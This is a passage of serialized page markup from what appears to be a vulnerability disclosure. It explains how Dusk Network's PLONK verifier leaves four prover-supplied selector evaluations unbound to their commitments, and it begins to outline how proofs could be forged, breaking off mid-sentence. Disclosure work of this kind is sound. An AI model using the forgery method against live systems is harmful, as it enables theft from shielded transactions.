",{"type":23,"tag":181,"props":147002,"children":147005},{"href":147003,"rel":147004},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[185],[147006],{"type":23,"tag":71,"props":147007,"children":147009},{"className":147008},[],[147010],{"type":29,"value":147011},"phoenix()",{"type":29,"value":147013},", for example in ",{"type":23,"tag":181,"props":147015,"children":147018},{"href":147016,"rel":147017},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[185],[147019],{"type":23,"tag":71,"props":147020,"children":147022},{"className":147021},[],[147023],{"type":29,"value":147024},"phoenix_stake()",{"type":29,"value":684},{"type":23,"tag":181,"props":147027,"children":147030},{"href":147028,"rel":147029},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[185],[147031],{"type":23,"tag":71,"props":147032,"children":147034},{"className":147033},[],[147035],{"type":29,"value":147036},"phoenix_stake_reward()",{"type":29,"value":684},{"type":23,"tag":181,"props":147039,"children":147042},{"href":147040,"rel":147041},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[185],[147043],{"type":23,"tag":71,"props":147044,"children":147046},{"className":147045},[],[147047],{"type":29,"value":147048},"phoenix_unstake()",{"type":29,"value":8824},{"type":23,"tag":181,"props":147051,"children":147054},{"href":147052,"rel":147053},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[185],[147055],{"type":23,"tag":71,"props":147056,"children":147058},{"className":147057},[],[147059],{"type":29,"value":147060},"phoenix_to_moonlight()",{"type":29,"value":147062},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":32,"props":147064,"children":147065},{},[147066],{"type":23,"tag":93,"props":147067,"children":147070},{"alt":147068,"src":147069},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":32,"props":147072,"children":147073},{},[147074,147076,147082,147084,147091],{"type":29,"value":147075},"The PLONK implementation, ",{"type":23,"tag":181,"props":147077,"children":147080},{"href":147078,"rel":147079},"https://github.com/dusk-network/plonk",[185],[147081],{"type":29,"value":143685},{"type":29,"value":147083},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":181,"props":147085,"children":147088},{"href":147086,"rel":147087},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[185],[147089],{"type":29,"value":147090},"the original paper",{"type":29,"value":147092}," was released.",{"type":23,"tag":32,"props":147094,"children":147095},{},[147096,147098,147104],{"type":29,"value":147097},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":181,"props":147099,"children":147102},{"href":147100,"rel":147101},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[185],[147103],{"type":29,"value":49356},{"type":29,"value":147105},". The circuit enforces the following set of constraints:",{"type":23,"tag":57518,"props":147107,"children":147108},{},[147109,147125],{"type":23,"tag":124777,"props":147110,"children":147111},{},[147112],{"type":23,"tag":124781,"props":147113,"children":147114},{},[147115,147120],{"type":23,"tag":124785,"props":147116,"children":147117},{},[147118],{"type":29,"value":147119},"Circuit check",{"type":23,"tag":124785,"props":147121,"children":147122},{},[147123],{"type":29,"value":147124},"Statement being checked",{"type":23,"tag":124805,"props":147126,"children":147127},{},[147128,147146,147164,147182,147200,147357,147497,147515],{"type":23,"tag":124781,"props":147129,"children":147130},{},[147131,147141],{"type":23,"tag":124812,"props":147132,"children":147133},{},[147134],{"type":23,"tag":181,"props":147135,"children":147138},{"href":147136,"rel":147137},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[185],[147139],{"type":29,"value":147140},"Merkle tree membership",{"type":23,"tag":124812,"props":147142,"children":147143},{},[147144],{"type":29,"value":147145},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":124781,"props":147147,"children":147148},{},[147149,147159],{"type":23,"tag":124812,"props":147150,"children":147151},{},[147152],{"type":23,"tag":181,"props":147153,"children":147156},{"href":147154,"rel":147155},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[185],[147157],{"type":29,"value":147158},"Input-note secret-key authorization",{"type":23,"tag":124812,"props":147160,"children":147161},{},[147162],{"type":29,"value":147163},"The prover knows the secret key controlling each input note",{"type":23,"tag":124781,"props":147165,"children":147166},{},[147167,147177],{"type":23,"tag":124812,"props":147168,"children":147169},{},[147170],{"type":23,"tag":181,"props":147171,"children":147174},{"href":147172,"rel":147173},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[185],[147175],{"type":29,"value":147176},"Nullifier correctness",{"type":23,"tag":124812,"props":147178,"children":147179},{},[147180],{"type":29,"value":147181},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":124781,"props":147183,"children":147184},{},[147185,147195],{"type":23,"tag":124812,"props":147186,"children":147187},{},[147188],{"type":23,"tag":181,"props":147189,"children":147192},{"href":147190,"rel":147191},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[185],[147193],{"type":29,"value":147194},"Output value commitment correctness",{"type":23,"tag":124812,"props":147196,"children":147197},{},[147198],{"type":29,"value":147199},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":124781,"props":147201,"children":147202},{},[147203,147213],{"type":23,"tag":124812,"props":147204,"children":147205},{},[147206],{"type":23,"tag":181,"props":147207,"children":147210},{"href":147208,"rel":147209},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[185],[147211],{"type":29,"value":147212},"Balance integrity",{"type":23,"tag":124812,"props":147214,"children":147215},{},[147216],{"type":23,"tag":71,"props":147217,"children":147219},{"className":147218},[6318,6319],[147220],{"type":23,"tag":230,"props":147221,"children":147223},{"className":147222},[6324],[147224],{"type":23,"tag":230,"props":147225,"children":147227},{"className":147226,"ariaHidden":1726},[6329],[147228,147268,147308,147340],{"type":23,"tag":230,"props":147229,"children":147231},{"className":147230},[6334],[147232,147236,147241,147245,147255,147259,147264],{"type":23,"tag":230,"props":147233,"children":147235},{"className":147234,"style":6447},[6339],[],{"type":23,"tag":230,"props":147237,"children":147239},{"className":147238,"style":23945},[23938,23943,23944],[147240],{"type":29,"value":110621},{"type":23,"tag":230,"props":147242,"children":147244},{"className":147243,"style":6465},[6426],[],{"type":23,"tag":230,"props":147246,"children":147248},{"className":147247},[6345,29],[147249],{"type":23,"tag":230,"props":147250,"children":147252},{"className":147251},[6345],[147253],{"type":29,"value":147254},"inputs",{"type":23,"tag":230,"props":147256,"children":147258},{"className":147257,"style":6524},[6426],[],{"type":23,"tag":230,"props":147260,"children":147262},{"className":147261},[6529],[147263],{"type":29,"value":863},{"type":23,"tag":230,"props":147265,"children":147267},{"className":147266,"style":6524},[6426],[],{"type":23,"tag":230,"props":147269,"children":147271},{"className":147270},[6334],[147272,147276,147281,147285,147295,147299,147304],{"type":23,"tag":230,"props":147273,"children":147275},{"className":147274,"style":6447},[6339],[],{"type":23,"tag":230,"props":147277,"children":147279},{"className":147278,"style":23945},[23938,23943,23944],[147280],{"type":29,"value":110621},{"type":23,"tag":230,"props":147282,"children":147284},{"className":147283,"style":6465},[6426],[],{"type":23,"tag":230,"props":147286,"children":147288},{"className":147287},[6345,29],[147289],{"type":23,"tag":230,"props":147290,"children":147292},{"className":147291},[6345],[147293],{"type":29,"value":147294},"outputs",{"type":23,"tag":230,"props":147296,"children":147298},{"className":147297,"style":6427},[6426],[],{"type":23,"tag":230,"props":147300,"children":147302},{"className":147301},[6432],[147303],{"type":29,"value":6719},{"type":23,"tag":230,"props":147305,"children":147307},{"className":147306,"style":6427},[6426],[],{"type":23,"tag":230,"props":147309,"children":147311},{"className":147310},[6334],[147312,147317,147327,147331,147336],{"type":23,"tag":230,"props":147313,"children":147316},{"className":147314,"style":147315},[6339],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":230,"props":147318,"children":147320},{"className":147319},[6345,29],[147321],{"type":23,"tag":230,"props":147322,"children":147324},{"className":147323},[6345],[147325],{"type":29,"value":147326},"fee",{"type":23,"tag":230,"props":147328,"children":147330},{"className":147329,"style":6427},[6426],[],{"type":23,"tag":230,"props":147332,"children":147334},{"className":147333},[6432],[147335],{"type":29,"value":6719},{"type":23,"tag":230,"props":147337,"children":147339},{"className":147338,"style":6427},[6426],[],{"type":23,"tag":230,"props":147341,"children":147343},{"className":147342},[6334],[147344,147348],{"type":23,"tag":230,"props":147345,"children":147347},{"className":147346,"style":116881},[6339],[],{"type":23,"tag":230,"props":147349,"children":147351},{"className":147350},[6345,29],[147352],{"type":23,"tag":230,"props":147353,"children":147355},{"className":147354},[6345],[147356],{"type":29,"value":63738},{"type":23,"tag":124781,"props":147358,"children":147359},{},[147360,147377],{"type":23,"tag":124812,"props":147361,"children":147362},{},[147363,147370,147371],{"type":23,"tag":181,"props":147364,"children":147367},{"href":147365,"rel":147366},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[185],[147368],{"type":29,"value":147369},"Range checks on inputs",{"type":29,"value":112},{"type":23,"tag":181,"props":147372,"children":147375},{"href":147373,"rel":147374},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[185],[147376],{"type":29,"value":147294},{"type":23,"tag":124812,"props":147378,"children":147379},{},[147380,147382],{"type":29,"value":147381},"All note values lie in ",{"type":23,"tag":71,"props":147383,"children":147385},{"className":147384},[6318,6319],[147386],{"type":23,"tag":230,"props":147387,"children":147389},{"className":147388},[6324],[147390],{"type":23,"tag":230,"props":147391,"children":147393},{"className":147392,"ariaHidden":1726},[6329],[147394,147479],{"type":23,"tag":230,"props":147395,"children":147397},{"className":147396},[6334],[147398,147402,147407,147412,147417,147421,147466,147470,147475],{"type":23,"tag":230,"props":147399,"children":147401},{"className":147400,"style":117138},[6339],[],{"type":23,"tag":230,"props":147403,"children":147405},{"className":147404},[24031],[147406],{"type":29,"value":6069},{"type":23,"tag":230,"props":147408,"children":147410},{"className":147409},[6345],[147411],{"type":29,"value":6358},{"type":23,"tag":230,"props":147413,"children":147415},{"className":147414},[6458],[147416],{"type":29,"value":6461},{"type":23,"tag":230,"props":147418,"children":147420},{"className":147419,"style":6465},[6426],[],{"type":23,"tag":230,"props":147422,"children":147424},{"className":147423},[6345],[147425,147430],{"type":23,"tag":230,"props":147426,"children":147428},{"className":147427},[6345],[147429],{"type":29,"value":5462},{"type":23,"tag":230,"props":147431,"children":147433},{"className":147432},[6362],[147434],{"type":23,"tag":230,"props":147435,"children":147437},{"className":147436},[6367],[147438],{"type":23,"tag":230,"props":147439,"children":147441},{"className":147440},[6372],[147442],{"type":23,"tag":230,"props":147443,"children":147445},{"className":147444,"style":6340},[6377],[147446],{"type":23,"tag":230,"props":147447,"children":147448},{"style":6381},[147449,147453],{"type":23,"tag":230,"props":147450,"children":147452},{"className":147451,"style":6387},[6386],[],{"type":23,"tag":230,"props":147454,"children":147456},{"className":147455},[6392,6393,6394,6395],[147457],{"type":23,"tag":230,"props":147458,"children":147460},{"className":147459},[6345,6395],[147461],{"type":23,"tag":230,"props":147462,"children":147464},{"className":147463},[6345,6395],[147465],{"type":29,"value":31730},{"type":23,"tag":230,"props":147467,"children":147469},{"className":147468,"style":6427},[6426],[],{"type":23,"tag":230,"props":147471,"children":147473},{"className":147472},[6432],[147474],{"type":29,"value":6406},{"type":23,"tag":230,"props":147476,"children":147478},{"className":147477,"style":6427},[6426],[],{"type":23,"tag":230,"props":147480,"children":147482},{"className":147481},[6334],[147483,147487,147492],{"type":23,"tag":230,"props":147484,"children":147486},{"className":147485,"style":6447},[6339],[],{"type":23,"tag":230,"props":147488,"children":147490},{"className":147489},[6345],[147491],{"type":29,"value":6348},{"type":23,"tag":230,"props":147493,"children":147495},{"className":147494},[24053],[147496],{"type":29,"value":17735},{"type":23,"tag":124781,"props":147498,"children":147499},{},[147500,147510],{"type":23,"tag":124812,"props":147501,"children":147502},{},[147503],{"type":23,"tag":181,"props":147504,"children":147507},{"href":147505,"rel":147506},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[185],[147508],{"type":29,"value":147509},"Sender-authorship signatures",{"type":23,"tag":124812,"props":147511,"children":147512},{},[147513],{"type":29,"value":147514},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":124781,"props":147516,"children":147517},{},[147518,147528],{"type":23,"tag":124812,"props":147519,"children":147520},{},[147521],{"type":23,"tag":181,"props":147522,"children":147525},{"href":147523,"rel":147524},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[185],[147526],{"type":29,"value":147527},"Sender encryption correctness",{"type":23,"tag":124812,"props":147529,"children":147530},{},[147531],{"type":29,"value":147532},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":32,"props":147534,"children":147535},{},[147536,147538,147544,147546,147555],{"type":29,"value":147537},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":71,"props":147539,"children":147541},{"className":147540},[],[147542],{"type":29,"value":147543},"tx.public_inputs()",{"type":29,"value":147545}," via ",{"type":23,"tag":181,"props":147547,"children":147549},{"href":146985,"rel":147548},[185],[147550],{"type":23,"tag":71,"props":147551,"children":147553},{"className":147552},[],[147554],{"type":29,"value":146993},{"type":29,"value":312},{"type":23,"tag":32,"props":147557,"children":147558},{},[147559],{"type":29,"value":147560},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":21113,"props":147562,"children":147563},{},[],{"type":23,"tag":24,"props":147565,"children":147566},{"id":92080},[147567],{"type":29,"value":147568},"The bug",{"type":23,"tag":32,"props":147570,"children":147571},{},[147572,147574,147581,147583,147594],{"type":29,"value":147573},"In the ",{"type":23,"tag":181,"props":147575,"children":147578},{"href":147576,"rel":147577},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[185],[147579],{"type":29,"value":147580},"PLONK verification",{"type":29,"value":147582},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":181,"props":147584,"children":147587},{"href":147585,"rel":147586},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[185],[147588],{"type":23,"tag":71,"props":147589,"children":147591},{"className":147590},[],[147592],{"type":29,"value":147593},"E_evals",{"type":29,"value":147595},") are:",{"type":23,"tag":98,"props":147597,"children":147598},{},[147599,147631,147656,147681],{"type":23,"tag":102,"props":147600,"children":147601},{},[147602,147608,147609,147615,147616,147622,147623,147629],{"type":23,"tag":71,"props":147603,"children":147605},{"className":147604},[],[147606],{"type":29,"value":147607},"a_eval",{"type":29,"value":684},{"type":23,"tag":71,"props":147610,"children":147612},{"className":147611},[],[147613],{"type":29,"value":147614},"b_eval",{"type":29,"value":684},{"type":23,"tag":71,"props":147617,"children":147619},{"className":147618},[],[147620],{"type":29,"value":147621},"c_eval",{"type":29,"value":684},{"type":23,"tag":71,"props":147624,"children":147626},{"className":147625},[],[147627],{"type":29,"value":147628},"d_eval",{"type":29,"value":147630}," (witness)",{"type":23,"tag":102,"props":147632,"children":147633},{},[147634,147640,147641,147647,147648,147654],{"type":23,"tag":71,"props":147635,"children":147637},{"className":147636},[],[147638],{"type":29,"value":147639},"s_sigma_1_eval",{"type":29,"value":684},{"type":23,"tag":71,"props":147642,"children":147644},{"className":147643},[],[147645],{"type":29,"value":147646},"s_sigma_2_eval",{"type":29,"value":684},{"type":23,"tag":71,"props":147649,"children":147651},{"className":147650},[],[147652],{"type":29,"value":147653},"s_sigma_3_eval",{"type":29,"value":147655}," (permutation)",{"type":23,"tag":102,"props":147657,"children":147658},{},[147659,147665,147666,147672,147673,147679],{"type":23,"tag":71,"props":147660,"children":147662},{"className":147661},[],[147663],{"type":29,"value":147664},"a_w_eval",{"type":29,"value":684},{"type":23,"tag":71,"props":147667,"children":147669},{"className":147668},[],[147670],{"type":29,"value":147671},"b_w_eval",{"type":29,"value":684},{"type":23,"tag":71,"props":147674,"children":147676},{"className":147675},[],[147677],{"type":29,"value":147678},"d_w_eval",{"type":29,"value":147680}," (shifted witness)",{"type":23,"tag":102,"props":147682,"children":147683},{},[147684,147690],{"type":23,"tag":71,"props":147685,"children":147687},{"className":147686},[],[147688],{"type":29,"value":147689},"z_eval",{"type":29,"value":147691}," (permutation accumulator)",{"type":23,"tag":32,"props":147693,"children":147694},{},[147695,147697,147701],{"type":29,"value":147696},"But the following selector evaluations were ",{"type":23,"tag":2258,"props":147698,"children":147699},{},[147700],{"type":29,"value":20808},{"type":29,"value":147702}," included:",{"type":23,"tag":98,"props":147704,"children":147705},{},[147706,147717,147728,147739],{"type":23,"tag":102,"props":147707,"children":147708},{},[147709,147715],{"type":23,"tag":71,"props":147710,"children":147712},{"className":147711},[],[147713],{"type":29,"value":147714},"q_arith_eval",{"type":29,"value":147716}," (arithmetic selector)",{"type":23,"tag":102,"props":147718,"children":147719},{},[147720,147726],{"type":23,"tag":71,"props":147721,"children":147723},{"className":147722},[],[147724],{"type":29,"value":147725},"q_c_eval",{"type":29,"value":147727}," (constant selector)",{"type":23,"tag":102,"props":147729,"children":147730},{},[147731,147737],{"type":23,"tag":71,"props":147732,"children":147734},{"className":147733},[],[147735],{"type":29,"value":147736},"q_l_eval",{"type":29,"value":147738}," (left selector)",{"type":23,"tag":102,"props":147740,"children":147741},{},[147742,147748],{"type":23,"tag":71,"props":147743,"children":147745},{"className":147744},[],[147746],{"type":29,"value":147747},"q_r_eval",{"type":29,"value":147749}," (right selector)",{"type":23,"tag":32,"props":147751,"children":147752},{},[147753,147755,147762,147763,147770,147771,147778,147779,147786],{"type":29,"value":147754},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":181,"props":147756,"children":147759},{"href":147757,"rel":147758},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[185],[147760],{"type":29,"value":147761},"proof struct",{"type":29,"value":684},{"type":23,"tag":181,"props":147764,"children":147767},{"href":147765,"rel":147766},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[185],[147768],{"type":29,"value":147769},"transcript absorption",{"type":29,"value":684},{"type":23,"tag":181,"props":147772,"children":147775},{"href":147773,"rel":147774},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[185],[147776],{"type":29,"value":147777},"arithmetic widget",{"type":29,"value":684},{"type":23,"tag":181,"props":147780,"children":147783},{"href":147781,"rel":147782},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[185],[147784],{"type":29,"value":147785},"fixed-base ECC widget",{"type":29,"value":147787},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":32,"props":147789,"children":147790},{},[147791,147793,147797],{"type":29,"value":147792},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":2258,"props":147794,"children":147795},{},[147796],{"type":29,"value":20808},{"type":29,"value":147798}," bugs:",{"type":23,"tag":98,"props":147800,"children":147801},{},[147802,147942],{"type":23,"tag":102,"props":147803,"children":147804},{},[147805,147807,147852,147854,147860,147862,147867,147868,147873,147874,147879,147881,147887,147889,147934,147936,147941],{"type":29,"value":147806},"There is no prover-supplied ",{"type":23,"tag":71,"props":147808,"children":147810},{"className":147809},[6318,6319],[147811],{"type":23,"tag":230,"props":147812,"children":147814},{"className":147813},[6324],[147815],{"type":23,"tag":230,"props":147816,"children":147818},{"className":147817,"ariaHidden":1726},[6329],[147819],{"type":23,"tag":230,"props":147820,"children":147822},{"className":147821},[6334],[147823,147827,147832,147837,147842,147847],{"type":23,"tag":230,"props":147824,"children":147826},{"className":147825,"style":6447},[6339],[],{"type":23,"tag":230,"props":147828,"children":147830},{"className":147829},[6345,23902],[147831],{"type":29,"value":2148},{"type":23,"tag":230,"props":147833,"children":147835},{"className":147834},[24031],[147836],{"type":29,"value":302},{"type":23,"tag":230,"props":147838,"children":147840},{"className":147839,"style":115383},[6345,23902],[147841],{"type":29,"value":115386},{"type":23,"tag":230,"props":147843,"children":147845},{"className":147844,"style":95312},[6345,23902],[147846],{"type":29,"value":146516},{"type":23,"tag":230,"props":147848,"children":147850},{"className":147849},[24053],[147851],{"type":29,"value":5467},{"type":29,"value":147853}," field at all. ",{"type":23,"tag":71,"props":147855,"children":147857},{"className":147856},[],[147858],{"type":29,"value":147859},"ProofEvaluations",{"type":29,"value":147861}," contains ",{"type":23,"tag":71,"props":147863,"children":147865},{"className":147864},[],[147866],{"type":29,"value":147664},{"type":29,"value":684},{"type":23,"tag":71,"props":147869,"children":147871},{"className":147870},[],[147872],{"type":29,"value":147671},{"type":29,"value":8824},{"type":23,"tag":71,"props":147875,"children":147877},{"className":147876},[],[147878],{"type":29,"value":147678},{"type":29,"value":147880},", but no ",{"type":23,"tag":71,"props":147882,"children":147884},{"className":147883},[],[147885],{"type":29,"value":147886},"c_w_eval",{"type":29,"value":147888},", so the verifier never consumes an unbound ",{"type":23,"tag":71,"props":147890,"children":147892},{"className":147891},[6318,6319],[147893],{"type":23,"tag":230,"props":147894,"children":147896},{"className":147895},[6324],[147897],{"type":23,"tag":230,"props":147898,"children":147900},{"className":147899,"ariaHidden":1726},[6329],[147901],{"type":23,"tag":230,"props":147902,"children":147904},{"className":147903},[6334],[147905,147909,147914,147919,147924,147929],{"type":23,"tag":230,"props":147906,"children":147908},{"className":147907,"style":6447},[6339],[],{"type":23,"tag":230,"props":147910,"children":147912},{"className":147911},[6345,23902],[147913],{"type":29,"value":2148},{"type":23,"tag":230,"props":147915,"children":147917},{"className":147916},[24031],[147918],{"type":29,"value":302},{"type":23,"tag":230,"props":147920,"children":147922},{"className":147921,"style":115383},[6345,23902],[147923],{"type":29,"value":115386},{"type":23,"tag":230,"props":147925,"children":147927},{"className":147926,"style":95312},[6345,23902],[147928],{"type":29,"value":146516},{"type":23,"tag":230,"props":147930,"children":147932},{"className":147931},[24053],[147933],{"type":29,"value":5467},{"type":29,"value":147935}," claim (",{"type":23,"tag":181,"props":147937,"children":147939},{"href":147757,"rel":147938},[185],[147940],{"type":29,"value":147761},{"type":29,"value":23057},{"type":23,"tag":102,"props":147943,"children":147944},{},[147945,147947,148034,148036,148128,148129,148136],{"type":29,"value":147946},"There is a fourth permutation commitment ",{"type":23,"tag":71,"props":147948,"children":147950},{"className":147949},[6318,6319],[147951],{"type":23,"tag":230,"props":147952,"children":147954},{"className":147953},[6324],[147955],{"type":23,"tag":230,"props":147956,"children":147958},{"className":147957,"ariaHidden":1726},[6329],[147959],{"type":23,"tag":230,"props":147960,"children":147962},{"className":147961},[6334],[147963,147967,147972,148029],{"type":23,"tag":230,"props":147964,"children":147966},{"className":147965,"style":6447},[6339],[],{"type":23,"tag":230,"props":147968,"children":147970},{"className":147969},[24031],[147971],{"type":29,"value":6069},{"type":23,"tag":230,"props":147973,"children":147975},{"className":147974},[6345],[147976,147981],{"type":23,"tag":230,"props":147977,"children":147979},{"className":147978,"style":95312},[6345,23902],[147980],{"type":29,"value":146411},{"type":23,"tag":230,"props":147982,"children":147984},{"className":147983},[6362],[147985],{"type":23,"tag":230,"props":147986,"children":147988},{"className":147987},[6367,23956],[147989,148018],{"type":23,"tag":230,"props":147990,"children":147992},{"className":147991},[6372],[147993,148013],{"type":23,"tag":230,"props":147994,"children":147996},{"className":147995,"style":94878},[6377],[147997],{"type":23,"tag":230,"props":147998,"children":147999},{"style":95359},[148000,148004],{"type":23,"tag":230,"props":148001,"children":148003},{"className":148002,"style":6387},[6386],[],{"type":23,"tag":230,"props":148005,"children":148007},{"className":148006},[6392,6393,6394,6395],[148008],{"type":23,"tag":230,"props":148009,"children":148011},{"className":148010},[6345,6395],[148012],{"type":29,"value":19849},{"type":23,"tag":230,"props":148014,"children":148016},{"className":148015},[24059],[148017],{"type":29,"value":24062},{"type":23,"tag":230,"props":148019,"children":148021},{"className":148020},[6372],[148022],{"type":23,"tag":230,"props":148023,"children":148025},{"className":148024,"style":94909},[6377],[148026],{"type":23,"tag":230,"props":148027,"children":148028},{},[],{"type":23,"tag":230,"props":148030,"children":148032},{"className":148031},[24053],[148033],{"type":29,"value":17735},{"type":29,"value":148035}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":71,"props":148037,"children":148039},{"className":148038},[6318,6319],[148040],{"type":23,"tag":230,"props":148041,"children":148043},{"className":148042},[6324],[148044],{"type":23,"tag":230,"props":148045,"children":148047},{"className":148046,"ariaHidden":1726},[6329],[148048],{"type":23,"tag":230,"props":148049,"children":148051},{"className":148050},[6334],[148052,148056,148113,148118,148123],{"type":23,"tag":230,"props":148053,"children":148055},{"className":148054,"style":6447},[6339],[],{"type":23,"tag":230,"props":148057,"children":148059},{"className":148058},[6345],[148060,148065],{"type":23,"tag":230,"props":148061,"children":148063},{"className":148062,"style":95312},[6345,23902],[148064],{"type":29,"value":146411},{"type":23,"tag":230,"props":148066,"children":148068},{"className":148067},[6362],[148069],{"type":23,"tag":230,"props":148070,"children":148072},{"className":148071},[6367,23956],[148073,148102],{"type":23,"tag":230,"props":148074,"children":148076},{"className":148075},[6372],[148077,148097],{"type":23,"tag":230,"props":148078,"children":148080},{"className":148079,"style":94878},[6377],[148081],{"type":23,"tag":230,"props":148082,"children":148083},{"style":95359},[148084,148088],{"type":23,"tag":230,"props":148085,"children":148087},{"className":148086,"style":6387},[6386],[],{"type":23,"tag":230,"props":148089,"children":148091},{"className":148090},[6392,6393,6394,6395],[148092],{"type":23,"tag":230,"props":148093,"children":148095},{"className":148094},[6345,6395],[148096],{"type":29,"value":19849},{"type":23,"tag":230,"props":148098,"children":148100},{"className":148099},[24059],[148101],{"type":29,"value":24062},{"type":23,"tag":230,"props":148103,"children":148105},{"className":148104},[6372],[148106],{"type":23,"tag":230,"props":148107,"children":148109},{"className":148108,"style":94909},[6377],[148110],{"type":23,"tag":230,"props":148111,"children":148112},{},[],{"type":23,"tag":230,"props":148114,"children":148116},{"className":148115},[24031],[148117],{"type":29,"value":302},{"type":23,"tag":230,"props":148119,"children":148121},{"className":148120,"style":115383},[6345,23902],[148122],{"type":29,"value":115386},{"type":23,"tag":230,"props":148124,"children":148126},{"className":148125},[24053],[148127],{"type":29,"value":5467},{"type":29,"value":664},{"type":23,"tag":181,"props":148130,"children":148133},{"href":148131,"rel":148132},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[185],[148134],{"type":29,"value":148135},"permutation verifier key",{"type":29,"value":23057},{"type":23,"tag":32,"props":148138,"children":148139},{},[148140,148142,148152],{"type":29,"value":148141},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":181,"props":148143,"children":148146},{"href":148144,"rel":148145},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[185],[148147],{"type":23,"tag":71,"props":148148,"children":148150},{"className":148149},[],[148151],{"type":29,"value":147593},{"type":29,"value":148153},", which leaves the master equation underconstrained.",{"type":23,"tag":32,"props":148155,"children":148156},{},[148157],{"type":23,"tag":93,"props":148158,"children":148161},{"alt":148159,"src":148160},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":21113,"props":148163,"children":148164},{},[],{"type":23,"tag":24,"props":148166,"children":148168},{"id":148167},"the-exploitation",[148169],{"type":29,"value":148170},"The exploitation",{"type":23,"tag":32,"props":148172,"children":148173},{},[148174],{"type":29,"value":148175},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":32,"props":148177,"children":148178},{},[148179,148181,148187,148189,148194,148196,148201,148203,148209],{"type":29,"value":148180},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":71,"props":148182,"children":148184},{"className":148183},[],[148185],{"type":29,"value":148186},"z_challenge",{"type":29,"value":148188},", it computes what the linearization polynomial 